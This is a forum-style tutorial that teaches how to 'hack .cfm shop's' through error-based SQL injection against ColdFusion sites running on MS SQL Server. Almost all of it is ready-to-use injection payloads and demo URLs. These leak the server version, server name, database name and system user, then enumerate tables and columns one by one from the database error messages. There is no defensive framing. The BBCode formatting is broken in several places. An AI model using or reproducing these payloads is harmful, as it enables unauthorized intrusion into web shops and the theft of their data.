tutorial sql injection in cfm

###################################
Title: Exctract Table and Columns name in ColdFusion Web ( .cfm )
-
Author: DaNZeL  ( Admin of flash-crew.com
-
WebSite: [url]http://www.flash-crew.com[/url]
-
Hotmail: [email]danzel@flash-crew.com[/email]
-
Yahoo: [email]FlashcRew@Yahoo.com[/email]
###################################

Hi allz ..
I want to tech you how to hack .cfm shop's ..
some people has ben a interes for that ..
and i write for you .

-
Get the Version:

and 1=convert(int,@@version)--sp_password

-
Get Server Name :

 and 1=convert(int,@@servername)--sp_password

Demo:

http://site.com/view.cfm?id=56 and 1=convert(int,@@servername)--sp_password

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'SERVER NAME HERE' to a column of data type int.

-
Get data base name:

 and 1=convert(int,db_name())--sp_password

Demo:

http://site.com/view.cfm?id=56 and 1=convert(int,db_name())--sp_password

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'DB NAME HERE' to a column of data type int.


-
Get system user :

  and 1=convert(int,system_user)--sp_password

http://site.com/view.cfm?id=56 and 1=convert(int,system_user)--sp_password

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'System User' to a column of data type int.


-

-
Get the first Table :

and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password 

demo :

http://site.com/view.cfm?id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password[/CODE{ ]
}

We get this error:
[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'First TAble Here' to a column of data type int.

-

Get the second table:[CODE]  and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))--sp_password{
[ }/CODE]

example: [CODE]http://site.com/view.cfm|id=56  and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("
FIRST-TABLE-HERE")))--sp_password

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Second Table is Here' to a column of data type int.

-

Get the 3 table :

 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))--sp_password{
[ }/CODE]

[CODE]http://site.com/view.cfm?id=56 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("S
econd-Table-Here")))--sp_password

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value '3 Table' to a column of data type int.

And we get the 3 table .. for get more table go with step with last table ..


--

Now you need to get the columns in any table :

We goo with this process ..

Get first columns from table 1 :

  and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))--sp_password[/C
ODE]

[CODE]http://site.com/view.cfm?id=56 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-
NAME-HERE")))--sp_password

and we get the first columns in this table

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Column Name here' to a column of data type int.

--

Get second column :

 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not in
("FIRST-COLUMNS-HERE")))--sp_password

http://site.com/view.cfm?id=56and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-N
AME-HERE") and column_name not in ("FIRST-COLUMNS-HERE")))--sp_password

and we will get te second columns

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Second Column here' to a column of data type int.

--

Get 3 columns :

  and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE") and column_name not i
n ("SECOND-COLUMNS-HERE")))--sp_password

http://site.com/view.cfm?id=56and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-N
AME-HERE") and column_name not in ("SECOND-COLUMNS-HERE")))--sp_password

and we have column number 3

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'COLUMN-NR-3' to a column of data type int.


and in this method you use in next step ..